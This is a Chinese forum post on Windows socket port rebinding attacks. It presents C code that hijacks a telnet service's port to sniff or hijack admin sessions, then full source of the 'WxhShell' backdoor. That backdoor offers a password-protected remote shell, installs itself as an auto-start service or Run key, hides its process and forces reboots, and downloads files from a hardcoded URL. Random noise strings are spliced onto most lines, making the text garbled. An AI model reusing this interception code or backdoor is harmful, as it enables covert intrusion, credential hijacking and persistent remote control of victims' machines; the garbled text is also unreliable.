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[讨论]用端口截听实现隐藏嗅探与攻击

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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: 8p829  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); _*=4xmB.=  
Ng<ic  
  saddr.sin_family = AF_INET; o_\vudXK  
=oXlJ[)h  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); XR8`,qH>  
)J]NBE:8  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); IZdWEbN1  
~*1Z1aZ  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 OqsuuE  
Vel(+HS  
  这意味着什么?意味着可以进行如下的攻击: ?VxQ&^|  
GR(m+%Vw!  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 %{'[S0@Z  
cq]0|\Vz  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) OLF6["0Rn  
#k<l5x`  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 {R(/Usg!=  
m!zv t  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  Jv 5l   
aPe*@py3T  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 O:+y/c  
)6XnxBSH  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 _s-X5 xU  
Y,mo}X<>  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 .z$UNB(!M  
<NDV 5P  
  #include U(+QrC:  
  #include ph)=:*A6&  
  #include !1S!)#  
  #include    OWfB8*4@  
  DWORD WINAPI ClientThread(LPVOID lpParam);   Te!eM{_$T  
  int main() 9(X~  
  { aiX4;'$x!  
  WORD wVersionRequested; f dJg7r*  
  DWORD ret; LDw.2E  
  WSADATA wsaData; - A}$5/  
  BOOL val; Yrf?|,  
  SOCKADDR_IN saddr; rv)Eg53Q  
  SOCKADDR_IN scaddr; \{rhHb\|h  
  int err; r#j3O}(n  
  SOCKET s; .0>bnw  
  SOCKET sc; W|;`R{<I%  
  int caddsize; oT:w GBW  
  HANDLE mt; SANb g&$  
  DWORD tid;   CNj |vYj  
  wVersionRequested = MAKEWORD( 2, 2 ); F*z>B >{)  
  err = WSAStartup( wVersionRequested, &wsaData ); {a>JQW5=  
  if ( err != 0 ) { >f9Q&c$R  
  printf("error!WSAStartup failed!\n"); {?w *n_T.  
  return -1; Ac*)z#H  
  } Grw[h  
  saddr.sin_family = AF_INET; 9]chv>dO)=  
   W7s  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 @w%kOX  
\Rt>U|%  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); f[`&3+  
  saddr.sin_port = htons(23); kSJ;kz,_  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) ?TDmW8G}J  
  { O d6'bO;G  
  printf("error!socket failed!\n"); x5#Kk.  
  return -1; MD;,O3Ge  
  } bQ?Vh@j(M  
  val = TRUE; m-[xrVV  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 6 P9#6mZ  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) 7 mA3&<&q  
  { {R7RBX  
  printf("error!setsockopt failed!\n"); M_?B*QZJI  
  return -1; blG?("0!  
  } I8W9Kzf  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; 4 q % Gc  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 u3 +]3!BQ  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 ok-q9dM  
J| 46i  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) 2c,w 4rK  
  { Q^Vch(`&P  
  ret=GetLastError(); `Lw Z(M-hI  
  printf("error!bind failed!\n"); %0u5d$bq  
  return -1; bLg gh]Fh  
  } 8;UkZN"hy5  
  listen(s,2); <X5V]f  
  while(1) _s=<Y^l%x  
  { A|mE3q=  
  caddsize = sizeof(scaddr); q`|E9  
  //接受连接请求 su60j^e*  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); EcR[b@YI  
  if(sc!=INVALID_SOCKET) ;8]Hw a1!  
  { vl`St$$|  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); \WUCm.w6\%  
  if(mt==NULL) *= %`f=  
  { /byF:iYI  
  printf("Thread Creat Failed!\n"); 'oBv(H  
  break;  Cb|R  
  } B(wi+;  
  } hR>`I0|p&  
  CloseHandle(mt); vXSpn71Jb  
  } Y}\3PaUa  
  closesocket(s); 527u d^:  
  WSACleanup(); *MWI`=c  
  return 0; {Z$]Rj  
  }   1JGww]JZo  
  DWORD WINAPI ClientThread(LPVOID lpParam) {v3@g[:|  
  { >^f]Lgp  
  SOCKET ss = (SOCKET)lpParam; wC<FF2T  
  SOCKET sc; a5]]AkvA  
  unsigned char buf[4096]; !$-QWKD4  
  SOCKADDR_IN saddr;  poZ&S  
  long num; C0>)WVCK  
  DWORD val; 5 tVg++I  
  DWORD ret; "LZv\c~v,%  
  //如果是隐藏端口应用的话,可以在此处加一些判断 3\B~`=*q/  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   =lh&oPc1  
  saddr.sin_family = AF_INET; JS >"j d#  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); ~W gO{@Mw  
  saddr.sin_port = htons(23); 4 tt=u]:  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) 4 $)}d  
  { 1 x0)mt3  
  printf("error!socket failed!\n"); ;UQ&yj%x  
  return -1; 'Te'wh=Y  
  } |L)qH"Eo  
  val = 100; kgX"I ?>d  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) 0M}Ql5+h,  
  { y0t-e   
  ret = GetLastError(); x}7Xd P.2$  
  return -1; taSYR$VJ  
  } aTLr%D:Ka  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) %A@U7gqc  
  { %)r1?H} #%  
  ret = GetLastError(); y$|OE%S  
  return -1; y=1(o3(  
  } H//,qxDc  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) 4d-"kx3X  
  { 6A} 45  
  printf("error!socket connect failed!\n"); BLo=@C%w5  
  closesocket(sc); "L)?dlb6T  
  closesocket(ss); Nu}Zsb|{  
  return -1; 7YU}-gi  
  } Eo{js?1G_  
  while(1) J s,.$t  
  { U&gl$/4U@  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 a3_pF~Qx  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 G7HvA46  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 pmDFmES  
  num = recv(ss,buf,4096,0); o PA m*  
  if(num>0) s.!gsCQme  
  send(sc,buf,num,0); V#-8[G6Ra  
  else if(num==0) 4L2TsuLw  
  break; lHgmljn5u  
  num = recv(sc,buf,4096,0); L 3C'q  
  if(num>0) `[4{]jX+<  
  send(ss,buf,num,0); W%}zwQ  
  else if(num==0) 5bprhq-7  
  break; k?Iq 6  
  } 0~nub  
  closesocket(ss); MJ@PAwv"  
  closesocket(sc); rge/qUr/^  
  return 0 ; :LR>U;2  
  } )G|'PXI@,  
(DKQHL;  
iC<qWq|S_m  
========================================================== +r]2.  
vj<JjGP  
下边附上一个代码,,WXhSHELL NFb<fD[C  
;U<rFs40  
========================================================== Qnv)\M1  
h\OMWJ~  
#include "stdafx.h" @w[HXb  
bjs{_?  
#include <stdio.h> V)Y#m/$`  
#include <string.h> )m(?U  
#include <windows.h> R-Z)0S'ZR  
#include <winsock2.h> $)M 5@KT  
#include <winsvc.h> <SNu`,/I  
#include <urlmon.h> (yhnv Z  
Mvlqx J$  
#pragma comment (lib, "Ws2_32.lib") J?bx<$C@  
#pragma comment (lib, "urlmon.lib") ,A!0:+  
p+1kU1F0  
#define MAX_USER   100 // 最大客户端连接数 'di(5  
#define BUF_SOCK   200 // sock buffer Eg#WR&Uq"  
#define KEY_BUFF   255 // 输入 buffer ksli-Px  
^/$bd4,z  
#define REBOOT     0   // 重启 kt hy9<!$  
#define SHUTDOWN   1   // 关机 l>jNBxB|/A  
4Y}{?]>pu  
#define DEF_PORT   5000 // 监听端口 Z[zRZ2'i5  
7 +kU8}  
#define REG_LEN     16   // 注册表键长度 f5&K=4khn  
#define SVC_LEN     80   // NT服务名长度 ,9~2#[|lq  
_B^Q;54c  
// 从dll定义API r1 [Jo|4vo  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); kTs.ps8ei  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); %8g1h)F"S  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); 7F wo t&  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); 05o 1  
/gq VXDY+`  
// wxhshell配置信息 qgw)SuwW  
struct WSCFG { 77p8|63  
  int ws_port;         // 监听端口 pu6@X7W"  
  char ws_passstr[REG_LEN]; // 口令 pK@8= +  
  int ws_autoins;       // 安装标记, 1=yes 0=no i}r|Zo  
  char ws_regname[REG_LEN]; // 注册表键名 ORo,.#<  
  char ws_svcname[REG_LEN]; // 服务名 (<xl _L:*.  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 xr1,D5  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 rl](0"Y0 t  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 6Y&`mgMF'  
int ws_downexe;       // 下载执行标记, 1=yes 0=no P jh3=Dr  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" 5Z*6,P0  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 % (x9~"  
YS+|n%?  
}; zqa7!ky  
FWDAG$K@0  
// default Wxhshell configuration C{U"Nsu+1  
struct WSCFG wscfg={DEF_PORT, 'o]8UD(  
    "xuhuanlingzhe", zP|^) h5  
    1, Y4I;-&d's  
    "Wxhshell", pt=H?{06  
    "Wxhshell", ]}0QrD  
            "WxhShell Service", &Z 6s\r%  
    "Wrsky Windows CmdShell Service", tkKiuh?m  
    "Please Input Your Password: ", xy[aZr  
  1, K+ @R [  
  "http://www.wrsky.com/wxhshell.exe", w>h\643  
  "Wxhshell.exe" jdAjCy;s!  
    }; BXB ZX@jVk  
7Nt6}${=z  
// 消息定义模块 U/9_:  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; 6h:2,h pE  
char *msg_ws_prompt="\n\r? for help\n\r#>"; k?;B1D8-n  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; g! DJ W  
char *msg_ws_ext="\n\rExit."; YzVhNJWpw  
char *msg_ws_end="\n\rQuit."; ![j?/376  
char *msg_ws_boot="\n\rReboot..."; IcP\#zhEv  
char *msg_ws_poff="\n\rShutdown..."; nb_$g@ 03  
char *msg_ws_down="\n\rSave to "; VQwF9Iq]`  
Z=j6c"  
char *msg_ws_err="\n\rErr!"; =`Lci1#pu}  
char *msg_ws_ok="\n\rOK!"; 6g&Ev'  
u@pimRVo  
char ExeFile[MAX_PATH]; AS'%Md&I  
int nUser = 0; Ws*UhJY<GS  
HANDLE handles[MAX_USER]; =a^}]k}  
int OsIsNt; :B  9>  
p;n"zr8U  
SERVICE_STATUS       serviceStatus; 2v?fbrC5c  
SERVICE_STATUS_HANDLE   hServiceStatusHandle;  {Bw  
JK'FJ}Z4  
// 函数声明 Z]qbLxJV  
int Install(void); 5)iOG#8qJ  
int Uninstall(void); $* hqF1Q  
int DownloadFile(char *sURL, SOCKET wsh); z1S p'h$  
int Boot(int flag); pq$-s7#  
void HideProc(void); hU6oWm  
int GetOsVer(void); H<Ik.]m  
int Wxhshell(SOCKET wsl); M)1Y7?r]  
void TalkWithClient(void *cs); }WDzzjDR+  
int CmdShell(SOCKET sock);  x>$e*  
int StartFromService(void); ]+A%3 7  
int StartWxhshell(LPSTR lpCmdLine); Wmc@: (n  
#Ic)]0L  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); +o-jMvK9  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); ???`BF[|  
+^|_vq^XR  
// 数据结构和表定义 Lv UQ&NmY  
SERVICE_TABLE_ENTRY DispatchTable[] = IRyZ0$r:e\  
{ @L?KcGD  
{wscfg.ws_svcname, NTServiceMain}, 7BkY0_KK  
{NULL, NULL} RG_.0'5=hc  
}; B-UsMO  
<\EJ:  
// 自我安装 ~sT1J|  
int Install(void) AW8*bq1  
{ B;e (5y-  
  char svExeFile[MAX_PATH]; LY;Fjb yU  
  HKEY key; 6|n3e,&A2  
  strcpy(svExeFile,ExeFile); M>[e1y>7  
z"P/Geb:O  
// 如果是win9x系统,修改注册表设为自启动 `3yK<-  
if(!OsIsNt) { Z@,[a  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { d$hBgJe>N  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); S`8Iu[Ma  
  RegCloseKey(key); GRh430V [  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { |p.|zH  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); &&g02>gE  
  RegCloseKey(key); f~ wgMp.W0  
  return 0; f0&%  
    } Q$(Fm a4a  
  } ZeLed[J^xJ  
} ,49Z/P  
else { bEm9hFvd  
8PR\a!"  
// 如果是NT以上系统,安装为系统服务 L3=5tuQ[5  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); Qk72ra)  
if (schSCManager!=0) +/ rt'0o  
{ C),i#v  
  SC_HANDLE schService = CreateService Z+=M_{`{  
  ( 1Li*n6tLX`  
  schSCManager, slzB#  
  wscfg.ws_svcname, y9b%P]i  
  wscfg.ws_svcdisp, <*(^QOM  
  SERVICE_ALL_ACCESS, l];/,J^  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , !_P&SmK3  
  SERVICE_AUTO_START, +pRNrg?k  
  SERVICE_ERROR_NORMAL, P; h8  
  svExeFile, ?N^1v&Q  
  NULL, ?4^ 0xGyE  
  NULL, V503  
  NULL, Y (p Ud3y  
  NULL, T+e*'<!O  
  NULL _n1[(I  
  ); 'o~gT ;T#  
  if (schService!=0) (x fN=Te,-  
  { B"8jEYT5  
  CloseServiceHandle(schService); T'{9!By,P  
  CloseServiceHandle(schSCManager); k/(]1QnW  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); NfUt\ p*  
  strcat(svExeFile,wscfg.ws_svcname); ,u>[cRqw  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { Ec2;?pvd%J  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); 4*&k~0#t  
  RegCloseKey(key); Yt?]0i+  
  return 0; P0pBR_:o  
    } F$bV}>-1k  
  } 7[PEiAI  
  CloseServiceHandle(schSCManager); /3&MUB*z&y  
} 0` .5gxm  
} L 0oVXmlr  
|Ve,Y  
return 1; VD< z]@  
} 2vWn(6`  
Q8MIpa!:  
// 自我卸载 0(*L)s,5  
int Uninstall(void) f7y.##WG  
{ v2_` iwE  
  HKEY key; J#t-." f6^  
tv26eK 38  
if(!OsIsNt) { ,J8n}7aI  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ^qnmKA>"F  
  RegDeleteValue(key,wscfg.ws_regname); m7DKC,  
  RegCloseKey(key); J\P6  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { *MB >,HU  
  RegDeleteValue(key,wscfg.ws_regname); kg 8Dn  
  RegCloseKey(key); BM'!odRv  
  return 0; 2?SbkU/3|P  
  } 'NZ=DSGIy  
} +:"0 %(  
} J>5rkR@/  
else { iGkysU<wcp  
le]~Cy0  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); x x4GP2  
if (schSCManager!=0) N#2ldY *  
{ =YTcWB  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); - Z`RKR8C  
  if (schService!=0) H>A6VDu  
  { JJM<ywPGp  
  if(DeleteService(schService)!=0) { r0 )ne|&Hp  
  CloseServiceHandle(schService); 1Dl6T\20  
  CloseServiceHandle(schSCManager); > (9\ cF{  
  return 0; g4 eW<  
  } a]T&-#c,}  
  CloseServiceHandle(schService); BjeD4  
  } 0~z\ WSo  
  CloseServiceHandle(schSCManager); 1"L"LU'  
} -sfv"?  
} ;}j(x;l>t  
r4fHD~#l{  
return 1; c(e>Rmh  
} p |1u,N  
h='F,r5#2  
// 从指定url下载文件 t`&x.o  
int DownloadFile(char *sURL, SOCKET wsh) 8'HS$J;C  
{ {eV8h}KIl  
  HRESULT hr; `/ayg:WSU  
char seps[]= "/"; (Xcy/QT  
char *token; ZGDT 6,  
char *file; @J"tM.  
char myURL[MAX_PATH]; VOLj#H  
char myFILE[MAX_PATH]; l6&\~Z(  
!7 dct#4  
strcpy(myURL,sURL); 18!y7 _cFT  
  token=strtok(myURL,seps); ##*]2Dy  
  while(token!=NULL) G %6P`:  
  { hg(<>_~  
    file=token; AoeRoqg&#  
  token=strtok(NULL,seps); 3_~iq>l  
  } > :IWRc2  
NOuG#P  
GetCurrentDirectory(MAX_PATH,myFILE);  D**GC  
strcat(myFILE, "\\"); #F.jf2h@  
strcat(myFILE, file); ;,C]WZ.w  
  send(wsh,myFILE,strlen(myFILE),0); R2gV(L(!!  
send(wsh,"...",3,0); PmRvjSIG  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); {^ b2nOMv  
  if(hr==S_OK) ^Aq0<  
return 0; G$+v |z  
else $KO2+^%y  
return 1; LWN {  
jb -kg</A  
} 12KC4,C&1i  
=d<RgwscJ  
// 系统电源模块 q.VYPkEib  
int Boot(int flag) (Z SaAn),  
{ "|L" C+tE  
  HANDLE hToken; pW(rNAJ!  
  TOKEN_PRIVILEGES tkp; BzP,Tu{,  
6t6Z&0$h~  
  if(OsIsNt) { |4Q*4s  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); <4"-tYa  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); La;G S  
    tkp.PrivilegeCount = 1; BVNW1<_:  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; V@G#U[D  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); 3KkfQ{  
if(flag==REBOOT) { LdV&G/G-#D  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) S{rltT-  
  return 0; rP3HR 5  
} &0Yg:{k$  
else { .p&@;fZ  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) 8Ojqm#/f  
  return 0; K>@yk9)vi  
} HUi?\4  
  } #]kjyT0  
  else { ttzNv>L,  
if(flag==REBOOT) { 6<._^hyq  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) "6$V1B0KW  
  return 0; MC}t8L=  
} XH"+oW  
else { /x6p  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) 5^u$zfR  
  return 0;  ?pTX4a&>  
} D(#f`Fj;  
} G@[8P?M=Z  
 5&&4-  
return 1; 2J ZR"P  
} 9CY{}g  
#) aLD0p  
// win9x进程隐藏模块 YAr6 cl  
void HideProc(void) xH-d<Ht,7  
{ *1b|j|5v  
9=%zdz2_S  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); BBB@M  
  if ( hKernel != NULL ) dAh.I3  
  { h:YD $XE  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); 2 |s ohF  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); (^d7K:-'  
    FreeLibrary(hKernel); Je1d|1!3  
  } hmO2s/~  
_M&TT]a  
return; = xO03|T;6  
} C82_ )@96  
`@~e<s`j  
// 获取操作系统版本  Y'iX   
int GetOsVer(void) ~t`^|cr|  
{ XA>W >|  
  OSVERSIONINFO winfo; M&Ka ^h;N  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); LVj 1NP  
  GetVersionEx(&winfo); 2$JGhgDI  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) 4Gc M  
  return 1; #z*,CU#S9d  
  else H_DCdUgC'  
  return 0; K p3}A$uV  
} tIsWPt]Y  
Zd*$^P,|  
// 客户端句柄模块 };/QK*  
int Wxhshell(SOCKET wsl) yB b%#GW  
{ xM*_1+<dT$  
  SOCKET wsh; " O&93#8  
  struct sockaddr_in client; Q`ua9oIJ=  
  DWORD myID; ^SdF\uk{?6  
T*z]<0E]  
  while(nUser<MAX_USER) #~*v##^vFH  
{ )h{&O ,s  
  int nSize=sizeof(client); )`\hK  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); xY^sC56Z  
  if(wsh==INVALID_SOCKET) return 1; kRp]2^}\s\  
22`^Rsb,6L  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); Gm=qn]c  
if(handles[nUser]==0) 9wgB J Jl7  
  closesocket(wsh); <n2@;` D  
else [{znwK@  
  nUser++; iNO>'7s7  
  } 37#&:[w>  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); _C?j\Wy  
CdolZW-!"  
  return 0; SepjF  
} K:PH: e  
TlqHj  
// 关闭 socket IGdiIhH~2  
void CloseIt(SOCKET wsh) ^|]&"OaB Z  
{ @T'^V0!-q:  
closesocket(wsh); t un}rdb  
nUser--; Ot=jwvw  
ExitThread(0); #@XBHJD\#  
} dGIdSQ~ _  
Rn1oD3w  
// 客户端请求句柄 .Ro/ioq  
void TalkWithClient(void *cs) LD$5KaOW  
{ Z*,e<zNQ  
K`4rUEf}V"  
  SOCKET wsh=(SOCKET)cs; 8:ubtB  
  char pwd[SVC_LEN]; Kb.qv)6i*  
  char cmd[KEY_BUFF]; 2w?q7N%  
char chr[1]; 44]s`QyG  
int i,j; w_9^YO! !  
JzyCeM =  
  while (nUser < MAX_USER) { ,UNb#=it  
ZoW1Cc&p  
if(wscfg.ws_passstr) { $%<{zWQm  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ?|nl93m  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 7#V7D6j1  
  //ZeroMemory(pwd,KEY_BUFF); MqyjTY::Xg  
      i=0; SeX]|?D  
  while(i<SVC_LEN) { !FEc:qH  
wq)*bIv  
  // 设置超时 W^(zP/  
  fd_set FdRead; Kkvc Zs'4m  
  struct timeval TimeOut; L 4By5)  
  FD_ZERO(&FdRead); o3J#hQrl  
  FD_SET(wsh,&FdRead); H;Wrcf2  
  TimeOut.tv_sec=8; }0'=}BE  
  TimeOut.tv_usec=0; 3]Z1kB  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut);  N5 ME_)  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); Ltlp9 S  
w:&" "'E  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 2M %j-yG"  
  pwd=chr[0]; W5*ldXXk  
  if(chr[0]==0xd || chr[0]==0xa) { TO wd+]B  
  pwd=0; &?<uR)tl  
  break; X Xque-  
  } dkQ4D2W*\  
  i++; (jc@8@Wo.  
    } <2$vo  
y Zaf q"o  
  // 如果是非法用户,关闭 socket !Sc"V.o @!  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); CSM"Kz`  
} AIF ?>wgq  
{ 3G  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); v 6~9)\!j  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 222 Y?3>@D  
: 4ryi&Y  
while(1) { _&gi4)q  
z7K{ ,y  
  ZeroMemory(cmd,KEY_BUFF); Q$%apL  
C$[d~1t6  
      // 自动支持客户端 telnet标准   *"%TAe7?~+  
  j=0; l|CM/(99-  
  while(j<KEY_BUFF) { _NDQ2O  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); uP~,]ci7  
  cmd[j]=chr[0]; uLhGp@Dx  
  if(chr[0]==0xa || chr[0]==0xd) { Od1\$\4Z  
  cmd[j]=0; Sj+H{xJi  
  break; g4K+AK  
  } X5 vMY  
  j++; ,jU>V]YC  
    } l:HQ@FX  
.OPknC  
  // 下载文件 ,Qj G|P  
  if(strstr(cmd,"http://")) { p`tz*ewC  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); %~rEJB@{  
  if(DownloadFile(cmd,wsh)) 3CCs_AO  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); ah>c)1DA*H  
  else B#K gU&Loo  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ? <?Ogq"<  
  } XlppA3JON|  
  else { g~lv/.CnA+  
"?"  :  
    switch(cmd[0]) { <Q[%:LD  
   3Y#Q'r?  
  // 帮助 `3TR`,=  
  case '?': { 7B?Y.B  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); u 3WU0Z`  
    break; {X!vb  
  } )CGQ}  
  // 安装 =RoE=) 1&-  
  case 'i': { `<XS5h h=  
    if(Install()) '+Dsmoy  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); xIdb9hm<  
    else JrP`u4f_  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); )g pN 5TDd  
    break; pdu1 kL  
    } .K C* (}-  
  // 卸载 O=K lc+Oo  
  case 'r': { _u]Z+H"  
    if(Uninstall()) UZdnsG7  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); hf`y_H+\7  
    else WowKq0sn  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); `M@ESA (e  
    break; p=+Y7NE)  
    } [(X~C*VdxM  
  // 显示 wxhshell 所在路径 mnt&!X4<  
  case 'p': { %bcf% 7  
    char svExeFile[MAX_PATH]; P`tOL#UeZL  
    strcpy(svExeFile,"\n\r"); H_xHoCLI  
      strcat(svExeFile,ExeFile); c <TEA  
        send(wsh,svExeFile,strlen(svExeFile),0); Ha v&vV  
    break; 7qC /a c  
    } ;qmnG3;Q  
  // 重启 ;>,B(Xz4i  
  case 'b': { qq)5)S  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); -J v,#Z3  
    if(Boot(REBOOT)) NlYuT+  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ko%mZ0Y  
    else { F|%PiC,,qO  
    closesocket(wsh); }Qo]~/  
    ExitThread(0); b9g2mWL\T  
    } *|&Y ,H?  
